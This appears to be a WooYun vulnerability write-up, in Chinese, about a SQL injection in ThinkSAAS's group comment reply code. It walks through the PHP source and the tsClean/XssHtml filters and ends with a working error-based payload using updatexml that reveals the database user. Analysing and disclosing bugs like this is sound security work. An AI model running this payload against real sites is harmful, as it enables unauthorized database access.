WooYun.org

看最新版的，16天前更新的。
app/group/action/do.php
看下回复评论出的代码

case "recomment":
	
		if($_POST['token'] != $_SESSION['token']) {
			echo 1;exit;
		}
		
		$referid = intval($_POST['referid']);
		$topicid = intval($_POST['topicid']);
		$content = tsClean($_POST['content']);
		$addtime = time();
       // var_dump($content);
		$db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");

Content post获取，然后通过tsclean函数过滤，然后直接带入sql语句，跟踪下函数tsclean
/thinksaas/thinksaas/tsFuction.php
function tsClean($text) {
//var_dump($text);
$text = stripslashes(trim($text));
//去除前后空格，并去除反斜杠
//$text = br2nl($text); //将br转换成/n
///////XSS start
require_once 'thinksaas/xsshtml.class.php';
$xss = new XssHtml($text);
$text = $xss -> getHtml();
//var_dump($text);
//$text = substr ($text, 4);//去除左边<p>标签
//$text = substr ($text, 0,-5);//去除右边</p>标签
///////XSS end
//$text = html_entity_decode($text,ENT_NOQUOTES,"utf-8");//把 HTML 实体转换为字符
//$text = strip_tags($text); //去掉HTML及PHP标记
//$text = cleanJs ( $text );
$text = htmlentities($text, ENT_NOQUOTES, "utf-8");
//把字符转换为 HTML 实体
return $text;
}
Stripslashes 反斜线将被去除，
本地测试 了下输出，

Content内容换行了，虽然单引号没有转义，但是很麻烦。蛋疼
看下为啥换行了
/thinksaas/thinksaas/xsshtml.class.php

/**
     * 获得过滤后的内容
     */
	public function getHtml()
	{
		if (!$this->m_ok) {
			return '';
		}
		$nodeList = $this->m_dom->getElementsByTagName('*');
		for ($i = 0; $i < $nodeList->length; $i++){
			$node = $nodeList->item($i);
			//var_dump($this);
			if (in_array($node->nodeName, $this->m_AllowTag)) {
				if (method_exists($this, "__node_{$node->nodeName}")) {
					call_user_func(array($this, "__node_{$node->nodeName}"), $node);
				}else{
					call_user_func(array($this, '__node_default'), $node);
				}
			}
		}
		//var_dump($this->m_xss);
	    //var_dump($this->m_dom->saveHTML());
		return strip_tags($this->m_dom->saveHTML(), '<' . implode('><', $this->m_AllowTag) . '>');
	}

自己调试了 下过滤流程，引入了换行

下面请看大牛给出的语句。
insert into ts_group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('33','5','2','
&lt;p&gt;123'or updatexml(1,concat(0x7e,(user())),0) or ' --&lt;/p&gt;
','1426494649')
再科普一下
http://drops.wooyun.org/tips/2078
这个地方讲的很详细